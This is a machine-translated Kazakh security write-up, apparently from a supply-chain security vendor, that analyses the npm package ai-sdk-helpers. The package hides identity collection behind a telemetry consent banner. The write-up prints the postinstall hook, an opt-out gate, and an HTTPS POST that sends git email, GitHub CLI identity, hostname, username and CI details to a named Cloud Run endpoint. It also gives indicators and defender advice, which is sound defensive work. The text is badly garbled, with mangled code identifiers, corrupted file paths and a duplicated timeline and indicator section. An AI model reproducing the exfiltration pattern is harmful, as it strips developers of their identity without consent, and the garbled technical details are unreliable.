ConsentMask npm пакетін жасыру Әзірлеуші ​​​​идентификаторын жинау

ConsentMask: Әзірлеуші ​​​​жеке басын жинаудың үстінен телеметрия келісімі баннерін тағатын npm пакеті

TL; DR

Бір npm пакеті, ai-sdk-көмекшілері, өзін Vercel AI SDK үшін өндірістік құралдар жинағы ретінде ұсынады, шығындарды бақылауды, провайдердің резервтік көшірмесін және ағындық көмекшілерді ұсынады.

Оның орнату уақытының скрипті сипаттайтын жылтыратылған ақпарат баннерімен ашылады анонимді диагностика, бастапқы код, токен немесе тіркелгі деректері берілмейтініне уәде беріп, ... құрметтейді DO_NOT_TRACK бас тарту және телеметрия саясаты бетіне сілтеме жасау.

Содан кейін сол скрипт әзірлеушінің git идентификаторын, GitHub CLI конфигурациясын, машина хост атауын, ОС пайдаланушы атын, жұмыс каталогын және CI провайдерін оқиды.

Бұл деректер JSON ретінде Google Cloud Run соңғы нүктесіне ЖАЗЫЛАДЫ, бұл көрсетілген телеметрия саясаты мен жиналған нақты өрістер арасында айқын сәйкессіздік тудырады.

Пакет жиырма екі нұсқада бір 83 секундтық үзіліспен жарияланды, ал орнату скрипті әрбір белгіленген нұсқада байт сайын бірдей.

Біздің шолуымыз бойынша сегіз нұсқаның жетеуі pipeline келісім баннерінің стилі заңды телеметрия сияқты оқылатындықтан, ML жіктеушісі дәлелсіз деп бағалады.

Біз жіктейміз ai-sdk-helpers орнату кезіндегі әзірлеушінің жеке басын жинау және шығару негізінде зиянды деп танылады.

Ауырлығы: жоғары.

 Орнату жүйесінің анатомиясы

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

орнатудан кейінгі автоматты түрде іске қосылады npm орнату, пакеттің жарнамаланған коды импортталмас бұрын. Скрипт скрипттер/постинстал.js орнату уақытының барлық әрекеттері орналасқан жер.

Ол құпиялылықты ескеретін ашық бастапқы кодты жобаның тізілімінде жазылған түсініктеме блогымен және орындалу уақыты туралы ескертумен ашылады:

>Сіз ai-sdk-helpers орнатқан кезде, біз ортаның үйлесімділігін жылдам тексереміз және анонимді диагностика туралы есеп береміз... Деректер толығымен анонимді — біз сіздің платформаңызды, Node нұсқасын және машина идентификаторыңыздың бір жақты хэшін жинаймыз. Бастапқы код, токендер немесе тіркелгі деректері ешқашан берілмейді.

Ол тіпті файлдағы бірінші орындалатын код болып табылатын жұмыс істейтін бас тарту қақпасын қосады:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

бұл қақпаны алдымен байлау қалғанын келісім бойынша оқуға мәжбүр етеді: орнататын әзірлеуші `D_БАҚЫЛАУҒА ЖЕТПЕЙТІН орнатудың үнсіз аяқталғанын көреді және пакет конвенцияны құрметтейді. Құрметті бас тарту нақты. Оны орнатпаған әрбір адам үшін ол төменде сипатталған жинақ болып табылады - хабарландыруда аталған тар «платформа, Node нұсқасы және бір жақты хэш» емес.

Сол қақпаның астында сценарий сипаттамадан әлдеқайда асып түсетін пайдалы жүктемені жинайды.

  • *Gжеке басын куәландыратын құжат.* rшешуScmИдентификация()` бастар `~.gitconfig`,`~.config/git/config`,және ағымдағы жобаның `.it/config`,талдайды `[сер]` бөлімінде конфигурацияланғанды ​​қайтарады commit электрондық пошта. Егер конфигурация файлы электрондық поштаны бермесе, ол `G'-ге қайта оралады.T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,және `EAIL` қоршаған орта айнымалылары. Функцияның үстіндегі docstring оқуды «бір адамға тиесілі машиналардағы (мысалы, ноутбук + CI) қайталанатын орнатуларды алып тастау» тәсілі ретінде белгілейді — бұл әрбір әзірлеушіге тұрақты идентификаторды қажет ететін белгіленген мақсат, ол commit электрондық пошта материалдары.
  • *GtHub тіркелгісі.* rGitHubIdentity()` шешімін табу бастар `~.config/gh/hosts.yml` және `~.config/gh/hosts.yaml` әзірлеуші ​​​​аутентификациялаған кезде және regex-u файлын шығарған кезде GitHub CLI жазған конфигурация файлыер:` және `eауру:` өрістер. Бұл файлда GitHub OAuth токені де сақталады; скрипттің регекси пайдаланушы аты мен электрондық пошта жолдарына арнайы бағытталған және токенді шығарып алмайды. Сондықтан, ақпаратты ашу баннерінің «ешқандай токен берілмейді...» деген тұжырымы айналасындағы тіркелгі идентификаторлары оқылып, жіберіліп жатқанда, сол өріс үшін сөзбе-сөз дұрыс.
  • *Hst және CI саусақ ізі.* содан кейін сценарийді жинайды.хост атауы()`,`o.userInfo().пайдаланушы аты,Node нұсқасы, платформасы және архитектурасы, `pocess.cwd()`,және сегіз провайдер үшін орта айнымалыларын тексеру арқылы шешілген CI-провайдер белгісі (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite және екі жалпы CI жалаушалары). Провайдерлер тізімі скрипттің орындалуды күтетін жерінің тізімі ретінде оқылады - интерактивті қабықшалар және автоматтандырылған құрастыру. pipelineбірдей.

Олардың барлығы бірыңғай `d`-ге топтастырылғанагностик b нысаны, әрбір әзірлеуші ​​​​өрістері `i астында жиналғаннысан ey және `r астындағы хост деректеріуақыт және `cntext` көздер, содан кейін серияландырылады және жіберіледі:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

жауап алынып тасталады және барлық қателер жұтылады — түсініктемеде «телеметрия ешқашан орнатуды бұзбауы керек» деп жазылған. Соңғы нүктенің хост атауы Google Cloud Run қызметін кодтайдыарқан-батыс1` аймақ.

Бұл алшақтық - әңгіме. Баннерде деректердің үш санаты көрсетілген — платформа, түйін нұсқасы, машина идентификаторының хэштері. Пайдалы жүктеме әзірлеушінің нақты гитін жібереді. commit электрондық пошта, олардың GitHub пайдаланушы аты және электрондық поштасы, машина хост атауы және ОС тіркелгісінің атауы, жоба жолы және CI ортасы. *p анықтайтын өрістерrson және олардың есептік жазбалары* дәл сол ашылуда алынып тасталған өрістерге қатысты.

README кадрлауды екінші жағынан күшейтеді. Оның «Телеметрия» бөлімі анонимділік туралы талапты қайталайды және `D` сөзін байланыстырады._БАҚЫЛАУҒА ЖЕТПЕЙТІН o `cnsoledonottrack.com`,бас тарту туралы конвенцияны құжаттайтын нақты қауымдастық беті — танылған құпиялылықты қарызға алу standard хабарламаны әдеттегідей оқу үшін.

Timeline

Бұл өте қысқа және өте тығыз басылым тарихы бар бір пакеттік жаңалық. Бірнеше апталық науқан доғасын бақылаудың қажеті жоқ — бүкіл нұсқалар ауқымы машина жылдамдығымен кеңейтілді.

Қашан (UTC) оқиға
2026-06-03 20:31:20 Бірінші нұсқа (0.1.0) npm сайтында жарияланды.
2026-06-03 20:31:20 – 20:32:43 Барлық 22 нұсқа (0.1.0 арқылы 1.4.2) 83 секундтық автоматтандырылған серияда жарияланды.
2026-06-04 Сегіз нұсқа анықтау сигналдарымен белгіленді; қолмен талдау орнату уақытындағы сәйкестендіруді жинауды және шығаруды растайды. Талдау кезінде пакет npm режимінде жұмыс істеп тұрды.

22 семантикалық нұсқадағы 83 секундтық терезенің өзі мінез-құлық индикаторы болып табылады: нұсқа сатысы (`01.0`,`01.1`,... `14.2`)Белсенді түрде қолдау көрсетілетін жобаның бетін бір сценарий бойынша орындалатын шығарылым тарихымен көрсетеді. Орнату скрипті бұл сатыда өзгермейді — төменде қараңыз.

Ымыраға келу көрсеткіштері

Орнату уақытындағы пайдалы жүктеме жарияланған нұсқа диапазонында бірдей. A `dff` f`sripts/postinstall.js` 0 нұсқасы арасында2.1` 1-нұсқа4.2` ешқандай айырмашылық қайтармайды; мінез-құлық дамып келе жатқан пайдалы жүктеме емес, бір бекітілген саусақ ізі болып табылады.

Желі

22 семантикалық нұсқадағы 83 секундтық терезенің өзі мінез-құлық индикаторы болып табылады: нұсқа сатысы (`01.0`,`01.1`,... `14.2`)Белсенді түрде қолдау көрсетілетін жобаның бетін бір сценарий бойынша орындалатын шығарылым тарихымен көрсетеді. Орнату скрипті бұл сатыда өзгермейді — төменде қараңыз.

Ымыраға келу көрсеткіштері

Орнату уақытындағы пайдалы жүктеме жарияланған нұсқа диапазонында бірдей. A `dff` f`sripts/postinstall.js` 0 нұсқасы арасында2.1` 1-нұсқа4.2` ешқандай айырмашылық қайтармайды; мінез-құлық дамып келе жатқан пайдалы жүктеме емес, бір бекітілген саусақ ізі болып табылады.

Желі

Индикатор рөлі
npm-package-logger-228835561205.europe-west1.run.app JSON пайдалы жүктемелері бар HTTPS POST сұрауларын қабылдайтын эксфильтрациялық соңғы нүкте. Google Cloud Run жүйесінде орналастырылған europe-west1 Аймақ.

Алдау инфрақұрылымы

Индикатор рөлі
ai-sdk.guide "AI SDK Guide" авторының жеке басын қолдайтын пакеттің басты беті және тікелей эфирдегі сайт.
ai-sdk.guide/telemetry Орнату уақытын жариялау туралы хабарламада көрсетілген телеметрия саясатының URL мекенжайы.
hello@ai-sdk.guide Автордың электрондық поштасы жарияланды package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Пакет жариялаған бастапқы код репозиторийі.

Орнату кезінде оқылған файлдар

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git`[сер]` почта
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uер `eауру

Мінез-құлық белгілері

  • – м `порнатуды тоқтату ook біріктірілген Node скриптін шақырады
  • – бас тарту қақпасы (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_БАҚЫЛАУҒА ЖЕТПЕЙТ`)жеке куәлікті жинаудан бұрын құпиялылық мүмкіндігі ретінде ұсынылған
  • – git электрондық поштасын, GitHub идентификаторын, хост атауын, ОС пайдаланушы аты, cwd және CI белгісін қамтитын JSON нысанының tbound HTTPS POST
  • – тез жарияланатын нұсқа сатысындағы бірдей орнату скрипті

 Атрибуция және байқалған мінез-құлық
Біз пакет пен тізілім метадеректерінде жазылғаннан басқа ештеңені анықтамаймыз.

npm жазбасын жүргізуші - бұл тіркелгі `aЭльсимон,мекенжайыменiel@vigilance.security`.Тізілімде сол электрондық пошта тексерілмеген, ал тіркелгінің бастапқы бақылау идентификациясы тексерілмеген деп көрсетілген.ckage.json`,бөлек, авторды «AI SDK нұсқаулығы» ретінде ұсынадыello@ai-sdk.guide>`”басты бетімен-sdk.guide` және `g астындағы бастапқы репозиторийthub.com/ai-sdk-guide ұйымы. Баспа тіркелгісінің электрондық пошта домені (`vigilance.security`)және пакет ішіндегі автордың жеке басы (`a-sdk.guide`)әртүрлі домендер болып табылады.

«А»-sdk.guide` item іске қосылған және жауап береді, ал `/элеметрия ath шешеді — алдамшы сәйкестендіру өлі сілтемемен емес, қолжетімді веб-қатысумен қамтамасыз етіледі, бұл пакеттің құрылымының сенімділігін арттырады.

**Байқалған мүмкіндік.** Орнату кезінде пакет әзірлеушінің жеке басын және тіркелгі конфигурациясы файлдарын оқиды, хост пен CI ортасын іздейді және нәтижені оператор басқаратын соңғы нүктеге жібереді, сонымен қатар тар және анонимді деректер жиынтығын сипаттайтын хабарламаны көрсетеді. Біз бұл әрекетті сипаттаймыз; біз оның себебін мәлімдемейміз. Пакетті бағалайтын оқырмандар, соның ішінде жарияланымның жеке басын танитын кез келген тарап, көрсетілген және нақты деректер ағындары арасындағы байқалатын сәйкессіздікті бағалауы керек.

Қорғаушыларға әсер, үрдістер және нұсқаулық

Кімге әсер етеді. Орнататын кез келген адам ai-sdk-көмекшілері — тікелей немесе транзитивті тәуелділік ретінде — сол машинада жинақты іске қосады. Себебі триггер орнатудан кейінгі, деректер ағыны орын алуы үшін жарнамаланған кітапхана коды ешқашан импортталудың қажеті жоқ; тек орнату жеткілікті. Ең жоғары құнды орталар - конфигурацияланған git сәйкестендіруі және аутентификацияланған GitHub CLI бар әзірлеуші ​​жұмыс станциялары және CI жүгірушілері, мұнда сценарийдің CI-провайдерін анықтау жинақтың құрастыру ішінде жұмыс істейтінін көрсетеді. pipelineсондай-ақ ноутбуктерде.

Ол нені көрсетеді. Жалпы жағдайда қолданба құпиялары емес — пайдалы жүктеме шоғырланған Сәйкестік: әзірлеушінің commit электрондық пошта, олардың GitHub тіркелгісінің атауы мен электрондық поштасы, машина мен тіркелгі атаулары және жоба жолы. Бұл алдын алаcisПакетті кім, қай машинаға, қай репозиторийге және қай CI жүйесінде орнатқанын көрсететін электрондық карта. Ұйым үшін осындай бірнеше жазбалар бірге алынғанда, қай инженерлер мен қай құрастыру жүйелері тәуелділікті жойғанын көрсетеді - бұл пакеттің өзіндік әрекеті жинау мен беруде тоқтағанымен, мақсатты бақылау әрекетінің бастамасы ретінде пайдалы.

Тренд: телеметрия мұқаба ретінде. Заңды әзірлеуші ​​құралдары анонимді орнату диагностикасын және оны құрметпен орындау ережелерін жинайды - ақпарат туралы хабарлама, DO_NOT_TRACK құрмет, бас тарту жалаушасы, саясат URL мекенжайы — жақсы белгілі. ai-sdk-көмекшілері осы төрт конвенцияның барлығын адал түрде қайталайды және оларды жеке басын куәландыратын деректерді жинау үшін қаптама ретінде пайдаланады. Келісім баннерінің, жұмыс істейтін бас тартудың немесе құпиялылық саясаты сілтемесінің болуы пакеттің сенімді екендігінің дәлелі емес; бұл басқару элементтерін имитациялау арзан. Жалғыз сенімді тексеру - кодтың шын мәнінде не оқитыны және оны қайда жіберетіні.

Бұл қаптама автоматтандырылған сұрыптауға да өлшенетін әсер етеді. Біздің барлық нұсқаларымызда pipeline қарап шықылды, орнату скриптінің қарапайым тілдегі түсініктемелері, құрылымдалған өріс атаулары және дәстүрлі бас тарту қақпасы қарапайым телеметрия ретінде бағаланды: сегізінің жетеуі қайтарылды мұқият емес зиянды емес, ML жіктеуішінен. Анық еместікті шешетін сигнал прозада емес - ол сценарий ашатын нақты файлдарда (~/.gitconfig, ~/.config/gh/hosts.yml) және ол жіберетін бағыт. Ақпаратты оқып, сол жерде тоқтаған шолушы, автоматтандырылған немесе адам, қате қорытындыға келеді; шешім деректер ағынының фактілерінен шығуы керек.

Қорғаушыларға арналған нұсқаулық:

  • Әдепкі бойынша өшірілген сценарийлермен орнату — npm орнату –ескерту-скрипттері, немесе орнатыңыз ignore-scripts=true in .npmrc және тексерілген құрастыру қадамдарын анық түрде іске қосыңыз. Бұл бейтараптандырады орнатудан кейінгі- барлық жерде жинауды іске қосты.
  • Бас тартуды басқару элементтерін сенім сигналдары ретінде қарастырмаңыз. A DO_NOT_TRACK тексеру немесе «телеметрия саясаты» сілтемесі шлюз орнатылмаған кезде скрипт жинайтын деректер туралы ештеңе айтпайды.
  • AI экожүйесінің көмекші пакеттерін қабылдамас бұрын орнату туралы нұсқаулықты оқып шығыңыз. Vercel AI SDK кеңістігі жылдам қозғалатын, жоғары сенімді нысана болып табылады; орнатудан кейінгі тиетін ~/.gitconfig or ~/.config/gh/ айналасындағы түсініктемелер қалай жазылғанына қарамастан, айқын сигнал болып табылады.
  • Құрастыру уақытының шығуын бақылау. Шығыс HTTPS POST кезінде npm орнату, әсіресе жаңадан қамтамасыз етілген бұлттық функцияның соңғы нүктесі үшін, желілік деңгейде байқауға болады және CI орталары үшін күшті анықтау нүктесі болып табылады.
  • Сығылған нұсқа сатыларына назар аударыңыз. Семантикалық нұсқасының толық тарихы бірнеше секунд ішінде пайда болатын және өзгермейтін орнату скрипті бар пакет жасалған техникалық қызмет көрсету тарихын ұсынады.
sca-құралдары-бағдарламалық жасақтама-композиция-талдау-құралдары
Бағдарламалық жасақтама тәуекелдеріне басымдық беріңіз, оларды жойыңыз және қауіпсіз етіңіз
Тегін аккаунтыңызды алыңыз.
Несие картасы қажет емес.

Бағдарламалық жасақтаманы әзірлеу және жеткізуді қауіпсіз етіңіз

Xygeni өнім жиынтығымен бірге